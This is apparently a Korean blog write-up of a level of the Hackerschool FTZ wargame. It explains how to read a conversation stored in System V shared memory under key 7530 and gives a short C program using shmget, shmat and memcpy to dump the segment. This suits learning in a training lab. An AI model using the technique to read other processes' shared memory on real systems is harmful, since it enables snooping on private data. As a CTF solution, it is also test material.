728x90



아마도 두 사람의 대화가 저 "공유메모리"에 있을 것이다. 그리고 저 메모리 번지에 접근하는 방법에


저 7530값이 필요 할 것이다. 해서 구글링을 하였더니 친절한 블로그가 있었다.


http://mintnlatte.tistory.com/27


위 블로그에 공유메모리에 대한 api설명이 잘 되어있다.



게으름뱅이여서 예외처리는 하지 않았다.


#include 
#include 
#include 
#include 

int main(void)
{
    char buf[100];      // 도청한 대화를 저장할 문자열 변수

    // 7530을 key로 하는 1024크기의 공유메모리 생성(IPC_CREAT 옵션) 이미 있을 경우 접근 권한 설정 (0660)
    // 성공시 공유메모리 식별 id를 리턴한다.
    unsigned long shmID = (unsigned long)shmget(7530, 1024, IPC_CREAT | 0660);   
    
    // 식별 id에 해당하는 공유메모리를 attach할 나의 프로세스의 주소지정
    // 성공시 attach된 공유메모리 주소 반환
    unsigned long shmADDR = (unsigned long)shmat(shmID, NULL, 0);

    // shmADDR에서 100byte만큼을 buf에 저장
    memcpy((void*)buf, (void*)shmADDR, 100);

    // buf 출력
    printf("%s\n",buf);

    return 0;
}



<공유메모리 원리>



compile하여 실행하면 끝



728x90

'ctf + wargame > 해커스쿨ftz' 카테고리의 다른 글

[ftz] level12  (0) 2015.09.20
[ftz] level11  (0) 2015.09.20
[ftz] level9  (0) 2015.09.18
[ftz] level8  (0) 2015.09.18
[ftz] level7  (0) 2015.09.17

+ Recent posts